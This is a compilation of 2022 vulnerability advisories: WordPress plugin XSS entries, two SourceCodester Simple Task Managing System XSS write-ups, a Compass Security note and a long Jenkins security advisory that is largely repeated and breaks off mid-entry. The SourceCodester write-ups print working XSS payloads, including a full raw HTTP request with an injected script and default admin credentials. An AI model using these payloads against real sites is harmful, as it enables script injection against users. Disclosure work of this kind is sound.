Multiple Authenticated (custom specific plugin role) Persistent Cross-Site Scripting (XSS) vulnerability in Awesome Support plugin <= 6.0.7 at WordPress.

CVE-2022-38073: Awesome Support – WordPress HelpDesk & Support Plugin

Authenticated (subscriber+) Reflected Cross-Site Scripting (XSS) vulnerability in Totalsoft Event Calendar – Calendar plugin <= 1.4.6 at WordPress.

 Verified

 Fixed

**4.1**

CVSS 3.1 score Medium severity

Monitoring Coming soon

PSID 

aee14c950d8b

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires subscriber or higher role user authentication.

Publicly disclosed

2022-08-25

**Details**

Authenticated Reflected Cross-Site Scripting (XSS) vulnerability discovered by Vlad Vector (Patchstack) in WordPress Event Calendar – Calendar plugin (versions <= 1.4.6).

**Solution**

Update the WordPress Event Calendar – Calendar plugin to the latest available version (at least 1.4.7).

**References**

CVE-2022-36390: WordPress Event Calendar – Calendar plugin <= 1.4.6 - Authenticated Reflected Cross-Site Scripting (XSS) vulnerability - Patchstack

Authenticated Arbitrary Code Execution vulnerability in Soflyy Import any XML or CSV File to WordPress plugin <= 3.6.7 at WordPress.

CVE-2022-36386: Import any XML or CSV File to WordPress

Multiple Authenticated (contributor+) Stored Cross-Site Scripting (XSS) vulnerabilities in WHA Word Search Puzzles game plugin <= 2.0.1 at WordPress.

 Verified

 Not fixed

**5.4**

CVSS 3.1 score Medium severity

Monitoring Coming soon

Software

Word Search Puzzles game

Vulnerable versions

<= 2.0.1

PSID 

b189ec77df94

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires contributor or higher role user authentication.

Publicly disclosed

2022-09-01

**Details**

Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities were discovered by Vlad Vector (Patchstack) in the WordPress Word Search Puzzles game plugin (versions <= 2.0.1).

**Solution**

Deactivate and delete. No reply from the vendor.

**References**

CVE-2022-36383: WordPress Word Search Puzzles game plugin <= 2.0.1 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities - Patchstack

Multiple Authenticated (contributor+) Stored Cross-Site Scripting (XSS) vulnerabilities in WHA Crossword plugin <= 1.1.10 at WordPress.

 Verified

 Not fixed

**5.4**

CVSS 3.1 score Medium severity

Monitoring Coming soon

Vulnerable versions

<= 1.1.10

PSID 

c155cfbae813

Classification 

Cross Site Scripting (XSS)

OWASP Top 10 

A7: Cross-Site Scripting (XSS)

Required privilege 

Requires contributor or higher role user authentication.

Publicly disclosed

2022-09-01

**Details**

Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities were discovered by Vlad Vector (Patchstack) in the WordPress WHA Crossword plugin (versions <= 1.1.10).

**Solution**

Deactivate and delete. No reply from the vendor.

**References**

CVE-2022-36365: WordPress WHA Crossword plugin <= 1.1.10 - Multiple Authenticated Stored Cross-Site Scripting (XSS) vulnerabilities - Patchstack

SourceCodester Simple Task Managing System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component newProjectValidation.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the fullName parameter.

**Simple Task Managing System - XSS2**

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. This vulnerability affects unknown code. The manipulation of the argument newProjectValidation.php leads to cross site scripting. The attack can be initiated remotely.

username:admin password:admin ----> {ip}/newProjectValidation.php

Supplier： https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/newProjectValidation.php has XSS

> Payload: "><ScRiPt>alert(1)</sCrIpT>

XSS because $full can be closed

**Payload**

GET http://localhost/cve/Task%20Managing%20System%20in%20PHP/newTask.php?sn\=%3CsCrIpT%3Ealert(1)%3C/sCrIpT%3E HTTP/1.1
Host: localhost
Cache\-Control: max\-age\=0
sec\-ch\-ua: ";Not A Brand";v\="99", "Chromium";v\="94"
sec\-ch\-ua\-mobile: ?0
sec\-ch\-ua\-platform: "Windows"
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close

CVE-2022-40028: CVE_HUNTER/2022-09-01-XSS2.md at main · xidaner/CVE_HUNTER

SourceCodester Simple Task Managing System v1.0 was discovered to contain a cross-site scripting (XSS) vulnerability via the component newTask.php. This vulnerability allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the shortName parameter.

**Simple Task Managing System - XSS**

A vulnerability classified as problematic was found in SourceCodester Simple Task Managing System. This vulnerability affects unknown code. The manipulation of the argument newTask.php leads to cross site scripting. The attack can be initiated remotely.

username:admin password:admin ----> {ip}/newTask.php

Supplier： https://www.sourcecodester.com/php/15624/simple-task-managing-system-php-mysqli-free-source-code.html

/board.php has XSS

> Payload: "><ScRiPt>alert(1)</sCrIpT>

XSS because $shortName can be closed

**Payload**

GET http://localhost/cve/Task%20Managing%20System%20in%20PHP/newTask.php?sn\=%3CsCrIpT%3Ealert(1)%3C/sCrIpT%3E HTTP/1.1
Host: localhost
Cache\-Control: max\-age\=0
sec\-ch\-ua: ";Not A Brand";v\="99", "Chromium";v\="94"
sec\-ch\-ua\-mobile: ?0
sec\-ch\-ua\-platform: "Windows"
Upgrade\-Insecure\-Requests: 1
User\-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q\=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=34a9idaoj7m7miduqt31hupisn
Connection: close

CVE-2022-40027: CVE_HUNTER/2022-09-01-XSS1.md at main · xidaner/CVE_HUNTER

Ahsay AhsayCBS 9.1.4.0 allows an authenticated system user to inject arbitrary Java JVM options. Administrators that can modify the Runtime Options in the web interface can inject Java Runtime Options. These take effect after a restart. For example, an attacker can enable JMX services and consequently achieve remote code execution as the system user.

Compass Security employees regularly identify 0day security weaknesses in products, either during customer projects or during their research time. We report such vulnerabilities to the respective vendors and believe in coordinated disclosure, as long as the vendor acts in its and our clients’ best interests and provides us with regular and constructive feedback. If any of these conditions are not met, Compass Security might opt for full disclosure as defined in our **Vulnerability Disclosure Policy**.

29.09.2022

Efficient cyber defence needs more automation. Thus, a myriad of tools gets released that promise to identify and prevent malicious code. Most tools…

Read more

21.09.2022

Stephan Sekula identified an XSS vulnerability on the Camunda Platform 7.

Read more

CVE-2022-37027: Advisories - Compass Security

Jenkins 2.367 through 2.369 (both inclusive) does not escape tooltips of the l:helpIcon UI component used for some help icons on the Jenkins web UI, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to control tooltips for this component.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Jenkins (core)
*   Anchore Container Image Scanner Plugin
*   Apprenda Plugin
*   BigPanda Notifier Plugin
*   Build-Publisher Plugin
*   Compuware Common Configuration Plugin
*   CONS3RT Plugin
*   DotCi Plugin
*   extreme-feedback Plugin
*   NS-ND Integration Performance Publisher Plugin
*   NS-ND Integration Performance Publisher Plugin
*   RQM Plugin
*   Rundeck Plugin
*   SCM HttpClient Plugin
*   Security Inspector Plugin
*   SmallTest Plugin
*   View26 Test-Reporting Plugin
*   Walti Plugin
*   WildFly Deployer Plugin
*   Worksoft Execution Manager Plugin

**Descriptions****XSS vulnerability**

**SECURITY-2886 / CVE-2022-41224**  
**Severity (CVSS):** High  
**Description:**

Jenkins 2.367 through 2.369 (both inclusive) does not escape tooltips of the l:helpIcon UI component used for some help icons on the Jenkins web UI.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to control tooltips for this component.

As of publication, the Jenkins security team is unaware of any exploitable help icon/tooltip in Jenkins core or plugins published by the Jenkins project. The vast majority of help icons use the l:help component instead of l:helpIcon. The few known instances of l:helpIcon do not have user-controllable contents.

Jenkins 2.370 escapes tooltips of the l:helpIcon UI component.

**Stored XSS vulnerability in Anchore Container Image Scanner Plugin**

**SECURITY-2821 / CVE-2022-41225**  
**Severity (CVSS):** High  
**Affected plugin: anchore-container-scanner**  
**Description:**

Anchore Container Image Scanner Plugin 1.0.24 and earlier does not escape content provided by the Anchore engine API.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to control API responses by Anchore engine.

Anchore Container Image Scanner Plugin 1.0.25 escapes content provided by the Anchore engine API.

**XXE vulnerability in Compuware Common Configuration Plugin**

**SECURITY-2832 / CVE-2022-41226**  
**Severity (CVSS):** High  
**Affected plugin: compuware-common-configuration**  
**Description:**

Compuware Common Configuration Plugin 1.0.14 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to change the contents of the Topaz Workbench CLI home directory on agents to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Compuware Common Configuration Plugin 1.0.15 disables external entity resolution for its XML parser.

**CSRF vulnerability and missing permission check in NS-ND Integration Performance Publisher Plugin**

**SECURITY-2737 / CVE-2022-41227 (CSRF), CVE-2022-41228 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: cavisson-ns-nd-integration**  
**Description:**

NS-ND Integration Performance Publisher Plugin 4.8.0.129 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified webserver using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

NS-ND Integration Performance Publisher Plugin 4.8.0.130 requires POST requests and Overall/Administer permission for the affected form validation method.

**Stored XSS vulnerability in NS-ND Integration Performance Publisher Plugin**

**SECURITY-2858 / CVE-2022-41229**  
**Severity (CVSS):** High  
**Affected plugin: cavisson-ns-nd-integration**  
**Description:**

NS-ND Integration Performance Publisher Plugin 4.8.0.134 and earlier does not escape configuration options of the Execute NetStorm/NetCloud Test build step.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Missing permission check in Build-Publisher Plugin**

**SECURITY-1994 / CVE-2022-41230**  
**Severity (CVSS):** Medium  
**Affected plugin: build-publisher**  
**Description:**

Build-Publisher Plugin 1.22 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to obtain names and URLs of Jenkins servers that the plugin is configured to publish builds to, as well as builds pending for publication to those Jenkins servers.

**Path traversal and CSRF vulnerability in Build-Publisher Plugin**

**SECURITY-2139 / CVE-2022-41231 (path traversal), CVE-2022-41232 (CSRF)**  
**Severity (CVSS):** High  
**Affected plugin: build-publisher**  
**Description:**

Build-Publisher Plugin 1.22 and earlier allows attackers with Item/Configure permission to create or replace any config.xml file on the Jenkins controller file system by providing a crafted file name to an API endpoint.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability that allows attackers to replace any config.xml file on the Jenkins controller file system with an empty file.

**Missing permission checks in Rundeck Plugin**

**SECURITY-2170 / CVE-2022-41233**  
**Severity (CVSS):** Medium  
**Affected plugin: rundeck**  
**Description:**

Rundeck Plugin 3.6.11 and earlier does not perform Run/Artifacts permission checks in multiple HTTP endpoints.

This allows attackers with Item/Read permission to obtain information about build artifacts of a given job, if the optional Run/Artifacts permission is enabled.

**Missing webhook endpoint authorization in Rundeck Plugin**

**SECURITY-2169 / CVE-2022-41234**  
**Severity (CVSS):** Medium  
**Affected plugin: rundeck**  
**Description:**

Rundeck Plugin 3.6.11 and earlier does not protect access to the /plugin/rundeck/webhook/ endpoint.

This allows attackers with Item/Read permission to trigger jobs that are configured to be triggerable via Rundeck.

**Path traversal vulnerability in WildFly Deployer Plugin allows reading arbitrary files**

**SECURITY-2645 / CVE-2022-41235**  
**Severity (CVSS):** Medium  
**Affected plugin: wildfly-deployer**  
**Description:**

WildFly Deployer Plugin 1.0.2 and earlier implements functionality that allows agent processes to read arbitrary files on the Jenkins controller file system.

This allows attackers able to control agent processes to read arbitrary files on the Jenkins controller file system.

This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.

**CSRF vulnerability in Security Inspector Plugin**

**SECURITY-2051 / CVE-2022-41236**  
**Severity (CVSS):** Medium  
**Affected plugin: security-inspector**  
**Description:**

Security Inspector Plugin 117.v6eecc36919c2 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to replace the generated report stored in a per-session cache and displayed to authorized users at the …​/report URL with a report based on attacker-specified report generation options. This could create confusion in users of the plugin who are expecting to see a different result.

A security hardening since Jenkins 2.287 and LTS 2.277.2 prevents exploitation of this vulnerability for the _Single user, multiple jobs_ report. Other report types are still affected.

**RCE vulnerability in DotCi Plugin**

**SECURITY-1737 / CVE-2022-41237**  
**Severity (CVSS):** High  
**Affected plugin: DotCi**  
**Description:**

DotCi Plugin 2.40.00 and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types.

This results in a remote code execution (RCE) vulnerability exploitable by attackers able to modify .ci.yml files in SCM.

**Lack of authentication mechanism in DotCi Plugin webhook**

**SECURITY-2867 / CVE-2022-41238**  
**Severity (CVSS):** Medium  
**Affected plugin: DotCi**  
**Description:**

DotCi Plugin provides a webhook endpoint at /githook/ that can be used to trigger builds of the job for a GitHub repository.

In DotCi Plugin 2.40.00 and earlier, this endpoint can be accessed without authentication.

This allows unauthenticated attackers to trigger builds of jobs corresponding to the attacker-specified repository for attacker-specified commits.

**Stored XSS vulnerability in DotCi Plugin**

**SECURITY-2884 / CVE-2022-41239**  
**Severity (CVSS):** High  
**Affected plugin: DotCi**  
**Description:**

DotCi Plugin 2.40.00 and earlier does not escape the GitHub user name parameter provided to commit notifications when displaying them in a build cause.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to submit crafted commit notifications to the /githook/ endpoint (see also SECURITY-2867).

This vulnerability is only exploitable in Jenkins 2.314 and earlier, LTS 2.303.1 and earlier. See the LTS upgrade guide.

**Stored XSS vulnerability in Walti Plugin**

**SECURITY-1870 / CVE-2022-41240**  
**Severity (CVSS):** High  
**Affected plugin: walti**  
**Description:**

Walti Plugin 1.0.1 and earlier does not escape the information provided by the Walti API.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to provide malicious API responses from Walti.

**XXE vulnerability in RQM Plugin**

**SECURITY-2805 / CVE-2022-41241**  
**Severity (CVSS):** Medium  
**Affected plugin: rqm-plugin**  
**Description:**

RQM Plugin 2.8 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to provide crafted API responses from Rational Quality Manager to have Jenkins parse a crafted XML document that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

**Missing permission check in extreme-feedback Plugin**

**SECURITY-2001 / CVE-2022-41242**  
**Severity (CVSS):** Medium  
**Affected plugin: extreme-feedback**  
**Description:**

extreme-feedback Plugin 1.7 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to discover information about job names attached to lamps, discover MAC and IP addresses of existing lamps, and rename lamps.

**Missing hostname validation in SmallTest Plugin**

**SECURITY-2068 / CVE-2022-41243**  
**Severity (CVSS):** Medium  
**Affected plugin: smalltest**  
**Description:**

SmallTest Plugin 1.0.4 and earlier does not perform hostname validation when connecting to the configured SmallTest server.

This lack of validation could be abused using a man-in-the-middle attack to intercept these connections.

**Missing hostname validation in View26 Test-Reporting Plugin**

**SECURITY-2069 / CVE-2022-41244**  
**Severity (CVSS):** Medium  
**Affected plugin: view26**  
**Description:**

View26 Test-Reporting Plugin 1.0.7 and earlier does not perform hostname validation when connecting to the configured View26 server.

This lack of validation could be abused using a man-in-the-middle attack to intercept these connections.

**CSRF vulnerability and missing permission check in Worksoft Execution Manager Plugin allow capturing credentials**

**SECURITY-2237 / CVE-2022-41245 (CSRF), CVE-2022-41246 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: ws-execution-manager**  
**Description:**

Worksoft Execution Manager Plugin 10.0.3.503 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified URL using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**API key stored in plain text by BigPanda Notifier Plugin**

**SECURITY-2243 / CVE-2022-41247 (storage), CVE-2022-41248 (masking)**  
**Severity (CVSS):** Low  
**Affected plugin: bigpanda-jenkins**  
**Description:**

BigPanda Notifier Plugin 1.4.0 and earlier stores the BigPanda API key unencrypted in its global configuration file BigpandaGlobalNotifier.xml on the Jenkins controller as part of its configuration.

This API key can be viewed by users with access to the Jenkins controller file system.

Additionally, the global configuration form does not mask the API key, increasing the potential for attackers to observe and capture it.

**CSRF vulnerability and missing permission check in SCM HttpClient Plugin allow capturing credentials**

**SECURITY-2708 / CVE-2022-41249 (CSRF), CVE-2022-41250 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: scm-httpclient**  
**Description:**

SCM HttpClient Plugin 1.5 and earlier does not perform permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**Missing permission check in Apprenda Plugin allows enumerating credentials IDs**

**SECURITY-2710 / CVE-2022-41251**  
**Severity (CVSS):** Medium  
**Affected plugin: apprenda**  
**Description:**

Apprenda Plugin 2.2.0 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**Missing permission checks in CONS3RT Plugin allow enumerating credentials IDs**

**SECURITY-2752 / CVE-2022-41252**  
**Severity (CVSS):** Medium  
**Affected plugin: cons3rt**  
**Description:**

CONS3RT Plugin 1.0.0 and earlier does not perform permission checks in several HTTP endpoints.

This allows attackers with Overall/Read permission to enumerate credentials IDs of credentials stored in Jenkins. Those can be used as part of an attack to capture the credentials using another vulnerability.

**CSRF vulnerability and missing permission checks in CONS3RT Plugin allow capturing credentials**

**SECURITY-2751 / CVE-2022-41253 (CSRF), CVE-2022-41254 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: cons3rt**  
**Description:**

CONS3RT Plugin 1.0.0 and earlier does not perform permission checks in methods implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified HTTP server using attacker-specified credentials IDs obtained through another method, capturing credentials stored in Jenkins.

Additionally, these form validation methods do not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

**API token stored in plain text by CONS3RT Plugin**

**SECURITY-2759 / CVE-2022-41255**  
**Severity (CVSS):** Low  
**Affected plugin: cons3rt**  
**Description:**

CONS3RT Plugin 1.0.0 and earlier stores Cons3rt API token unencrypted in job config.xml files on the Jenkins controller as part of its configuration.

This API token can be viewed by users with access to the Jenkins controller file system.

**Severity**

*   SECURITY-1737: High
*   SECURITY-1870: High
*   SECURITY-1994: Medium
*   SECURITY-2001: Medium
*   SECURITY-2051: Medium
*   SECURITY-2068: Medium
*   SECURITY-2069: Medium
*   SECURITY-2139: High
*   SECURITY-2169: Medium
*   SECURITY-2170: Medium
*   SECURITY-2237: Medium
*   SECURITY-2243: Low
*   SECURITY-2645: Medium
*   SECURITY-2708: Medium
*   SECURITY-2710: Medium
*   SECURITY-2737: Medium
*   SECURITY-2751: Medium
*   SECURITY-2752: Medium
*   SECURITY-2759: Low
*   SECURITY-2805: Medium
*   SECURITY-2821: High
*   SECURITY-2832: High
*   SECURITY-2858: High
*   SECURITY-2867: Medium
*   SECURITY-2884: High
*   SECURITY-2886: High

**Affected Versions**

*   Jenkins weekly up to and including 2.369
*   **Anchore Container Image Scanner Plugin** up to and including 1.0.24
*   **Apprenda Plugin** up to and including 2.2.0
*   **BigPanda Notifier Plugin** up to and including 1.4.0
*   **Build-Publisher Plugin** up to and including 1.22
*   **Compuware Common Configuration Plugin** up to and including 1.0.14
*   **CONS3RT Plugin** up to and including 1.0.0
*   **DotCi Plugin** up to and including 2.40.00
*   **extreme-feedback Plugin** up to and including 1.7
*   **NS-ND Integration Performance Publisher Plugin** up to and including 4.8.0.129
*   **NS-ND Integration Performance Publisher Plugin** up to and including 4.8.0.134
*   **RQM Plugin** up to and including 2.8
*   **Rundeck Plugin** up to and including 3.6.11
*   **SCM HttpClient Plugin** up to and including 1.5
*   **Security Inspector Plugin** up to and including 117.v6eecc36919c2
*   **SmallTest Plugin** up to and including 1.0.4
*   **View26 Test-Reporting Plugin** up to and including 1.0.7
*   **Walti Plugin** up to and including 1.0.1
*   **WildFly Deployer Plugin** up to and including 1.0.2
*   **Worksoft Execution Manager Plugin** up to and including 10.0.3.503

**Fix**

*   Jenkins weekly should be updated to version 2.370
*   **Anchore Container Image Scanner Plugin** should be updated to version 1.0.25
*   **Compuware Common Configuration Plugin** should be updated to version 1.0.15
*   **NS-ND Integration Performance Publisher Plugin** should be updated to version 4.8.0.130

These versions include fixes to the vulnerabilities described above. All prior versions are considered to be affected by these vulnerabilities unless otherwise indicated.

As of publication of this advisory, no fixes are available for the following plugins:

*   Apprenda Plugin
*   BigPanda Notifier Plugin
*   Build-Publisher Plugin
*   CONS3RT Plugin
*   DotCi Plugin
*   extreme-feedback Plugin
*   NS-ND Integration Performance Publisher Plugin
*   RQM Plugin
*   Rundeck Plugin
*   SCM HttpClient Plugin
*   Security Inspector Plugin
*   SmallTest Plugin
*   View26 Test-Reporting Plugin
*   Walti Plugin
*   WildFly Deployer Plugin
*   Worksoft Execution Manager Plugin

Learn why we announce these issues.

**Credit**

The Jenkins project would like to thank the reporters for discovering and reporting these vulnerabilities:

*   **Daniel Beck, CloudBees, Inc.** for SECURITY-2169, SECURITY-2170, SECURITY-2645, SECURITY-2821, SECURITY-2884
*   **Jeff Thompson, CloudBees, Inc.** for SECURITY-2051
*   **Jesse Glick, CloudBees, Inc.** for SECURITY-2886
*   **Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2237, SECURITY-2737, SECURITY-2805, SECURITY-2858, SECURITY-2867
*   **Long Nguyen, Viettel Cyber Security** for SECURITY-2068, SECURITY-2069
*   **Marc Heyries** for SECURITY-2243
*   **Matt Sicker, CloudBees, Inc.** for SECURITY-1994, SECURITY-2001
*   **Valdes Che Zogou, CloudBees, Inc.** for SECURITY-2708, SECURITY-2710, SECURITY-2751, SECURITY-2752, SECURITY-2832
*   **Valdes Che Zogou, CloudBees, Inc. and Kevin Guerroudj, CloudBees, Inc.** for SECURITY-2759
*   **Wadeck Follonier, CloudBees, Inc.** for SECURITY-1870, SECURITY-2139

CVE-2022-41224: Jenkins Security Advisory 2022-09-21

A missing permission check in Jenkins DotCi Plugin 2.40.00 and earlier allows unauthenticated attackers to trigger builds of jobs corresponding to the attacker-specified repository for attacker-specified commits.

This advisory announces vulnerabilities in the following Jenkins deliverables:

*   Jenkins (core)
*   Anchore Container Image Scanner Plugin
*   Apprenda Plugin
*   BigPanda Notifier Plugin
*   build-publisher Plugin
*   Compuware Common Configuration Plugin
*   CONS3RT Plugin
*   DotCi Plugin
*   extreme-feedback Plugin
*   NS-ND Integration Performance Publisher Plugin
*   NS-ND Integration Performance Publisher Plugin
*   RQM Plugin
*   Rundeck Plugin
*   SCM HttpClient Plugin
*   Security Inspector Plugin
*   SmallTest Plugin
*   View26 Test-Reporting Plugin
*   Walti Plugin
*   WildFly Deployer Plugin
*   Worksoft Execution Manager Plugin

**Descriptions****XSS vulnerability**

**SECURITY-2886 / CVE-2022-41224**  
**Severity (CVSS):** High  
**Description:**

Jenkins 2.367 through 2.369 (both inclusive) does not escape tooltips of the l:helpIcon UI component used for some help icons on the Jenkins web UI.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to control tooltips for this component.

As of publication, the Jenkins security team is unaware of any exploitable help icon/tooltip in Jenkins core or plugins published by the Jenkins project. The vast majority of help icons use the l:help component instead of l:helpIcon. The few known instances of l:helpIcon do not have user-controllable contents.

Jenkins 2.370 escapes tooltips of the l:helpIcon UI component.

**Stored XSS vulnerability in Anchore Container Image Scanner Plugin**

**SECURITY-2821 / CVE-2022-41225**  
**Severity (CVSS):** High  
**Affected plugin: anchore-container-scanner**  
**Description:**

Anchore Container Image Scanner Plugin 1.0.24 and earlier does not escape content provided by the Anchore engine API.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers able to control API responses by Anchore engine.

Anchore Container Image Scanner Plugin 1.0.25 escapes content provided by the Anchore engine API.

**XXE vulnerability in Compuware Common Configuration Plugin**

**SECURITY-2832 / CVE-2022-41226**  
**Severity (CVSS):** High  
**Affected plugin: compuware-common-configuration**  
**Description:**

Compuware Common Configuration Plugin 1.0.14 and earlier does not configure its XML parser to prevent XML external entity (XXE) attacks.

This allows attackers able to change the contents of the Topaz Workbench CLI home directory on agents to have Jenkins parse a crafted file that uses external entities for extraction of secrets from the Jenkins controller or server-side request forgery.

Compuware Common Configuration Plugin 1.0.15 disables external entity resolution for its XML parser.

**CSRF vulnerability and missing permission check in NS-ND Integration Performance Publisher Plugin**

**SECURITY-2737 / CVE-2022-41227 (CSRF), CVE-2022-41228 (missing permission check)**  
**Severity (CVSS):** Medium  
**Affected plugin: cavisson-ns-nd-integration**  
**Description:**

NS-ND Integration Performance Publisher Plugin 4.8.0.129 and earlier does not perform a permission check in a method implementing form validation.

This allows attackers with Overall/Read permission to connect to an attacker-specified webserver using attacker-specified username and password.

Additionally, this form validation method does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability.

NS-ND Integration Performance Publisher Plugin 4.8.0.130 requires POST requests and Overall/Administer permission for the affected form validation method.

**Stored XSS vulnerability in NS-ND Integration Performance Publisher Plugin**

**SECURITY-2858 / CVE-2022-41229**  
**Severity (CVSS):** High  
**Affected plugin: cavisson-ns-nd-integration**  
**Description:**

NS-ND Integration Performance Publisher Plugin 4.8.0.134 and earlier does not escape configuration options of the Execute NetStorm/NetCloud Test build step.

This results in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with Item/Configure permission.

**Missing permission check in build-publisher Plugin**

**SECURITY-1994 / CVE-2022-41230**  
**Severity (CVSS):** Medium  
**Affected plugin: build-publisher**  
**Description:**

build-publisher Plugin 1.22 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to obtain names and URLs of Jenkins servers that the plugin is configured to publish builds to, as well as builds pending for publication to those Jenkins servers.

**Path traversal and CSRF vulnerability in build-publisher Plugin**

**SECURITY-2139 / CVE-2022-41231 (path traversal), CVE-2022-41232 (CSRF)**  
**Severity (CVSS):** High  
**Affected plugin: build-publisher**  
**Description:**

build-publisher Plugin 1.22 and earlier allows attackers with Item/Configure permission to create or replace any config.xml file on the Jenkins controller file system by providing a crafted file name to an API endpoint.

Additionally, this endpoint does not require POST requests, resulting in a cross-site request forgery (CSRF) vulnerability that allows attackers to replace any config.xml file on the Jenkins controller file system with an empty file.

**Missing permission checks in Rundeck Plugin**

**SECURITY-2170 / CVE-2022-41233**  
**Severity (CVSS):** Medium  
**Affected plugin: rundeck**  
**Description:**

Rundeck Plugin 3.6.11 and earlier does not perform Run/Artifacts permission checks in multiple HTTP endpoints.

This allows attackers with Item/Read permission to obtain information about build artifacts of a given job, if the optional Run/Artifacts permission is enabled.

**Missing webhook endpoint authorization in Rundeck Plugin**

**SECURITY-2169 / CVE-2022-41234**  
**Severity (CVSS):** Medium  
**Affected plugin: rundeck**  
**Description:**

Rundeck Plugin 3.6.11 and earlier does not protect access to the /plugin/rundeck/webhook/ endpoint.

This allows attackers with Item/Read permission to trigger jobs that are configured to be triggerable via Rundeck.

**Path traversal vulnerability in WildFly Deployer Plugin allows reading arbitrary files**

**SECURITY-2645 / CVE-2022-41235**  
**Severity (CVSS):** Medium  
**Affected plugin: wildfly-deployer**  
**Description:**

WildFly Deployer Plugin 1.0.2 and earlier implements functionality that allows agent processes to read arbitrary files on the Jenkins controller file system.

This allows attackers able to control agent processes to read arbitrary files on the Jenkins controller file system.

This vulnerability is only exploitable in Jenkins 2.318 and earlier, LTS 2.303.2 and earlier. See the LTS upgrade guide.

**CSRF vulnerability in Security Inspector Plugin**

**SECURITY-2051 / CVE-2022-41236**  
**Severity (CVSS):** Medium  
**Affected plugin: security-inspector**  
**Description:**

Security Inspector Plugin 117.v6eecc36919c2 and earlier does not require POST requests for an HTTP endpoint, resulting in a cross-site request forgery (CSRF) vulnerability.

This vulnerability allows attackers to replace the generated report stored in a per-session cache and displayed to authorized users at the …​/report URL with a report based on attacker-specified report generation options. This could create confusion in users of the plugin who are expecting to see a different result.

A security hardening since Jenkins 2.287 and LTS 2.277.2 prevents exploitation of this vulnerability for the _Single user, multiple jobs_ report. Other report types are still affected.

**RCE vulnerability in DotCi Plugin**

**SECURITY-1737 / CVE-2022-41237**  
**Severity (CVSS):** High  
**Affected plugin: DotCi**  
**Description:**

DotCi Plugin 2.40.00 and earlier does not configure its YAML parser to prevent the instantiation of arbitrary types.

